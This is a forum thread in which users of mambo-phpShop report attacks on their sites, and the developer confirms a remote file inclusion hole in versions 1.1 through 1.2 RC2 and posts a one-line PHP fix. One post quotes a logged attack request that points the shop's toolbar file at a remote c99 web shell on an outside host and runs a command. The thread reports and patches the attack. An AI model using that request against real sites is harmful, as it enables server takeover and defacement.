next »

[adtp]

Hallo,
does anybody know if there are any security risk in the old mamboPHPShop? I ask because I found today same searchstring in logfiles like:
"/com_phpshop/" language:de
or
allinurl: com_phpshop

In the last hours it getting more and more.

Thanx
Torsten

[adtp]

Hallo,
they try to manipulate via the toolbar.phpshop.html.php an extract from the logfile

/administrator/components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path=http://deadbone.by.ru/c99.txt?cmd=id

My adminarea is protect by htaccess so nothing happens. Perhaps someone could say more if it is serious.

Torsten

[scotoc]

Hallo,
does anybody know if there are any security risk in the old mamboPHPShop? I ask because I found today same searchstring in logfiles like:
"/com_phpshop/" language:de
or
allinurl: com_phpshop

In the last hours it getting more and more.

Thanx
Torsten

There is definitely problems. Last night our server got whacked bad. They gained entry via the phpshop toolbar on a customers site. They replaced over 175 website indexes. It appears they are running v1.1. Site is offline until I can further investigate and secure it.

On a related note how do I get them from 1.1 to whatever the latest is.

[Soeren]

Hello,

the security hole can be confirmed for all versions of mambo-phpShop prior to 1.2 - stable.

Versions affected: mambo-phpShop 1.1 - 1.2 RC2.
Versions NOT affected: mambo-phpShop 1.2 stable (all patch levels).

You are only in risk when register globals is turned on!

QUICK FIX
Find the file /administrator/components/com_phpshop/toolbar.phpshop.html.php and add

Code:

defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );

right after the PHP bracket, so it looks like this:

Code:

<?php
defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );
/** ....
*/

I will send out a newsletter to notify everyone about the security risk.

ciao, Soeren

[adtp]

thank you

[John]

Can you tell me if you can upgrade from phpshop 1.1 to 1.2?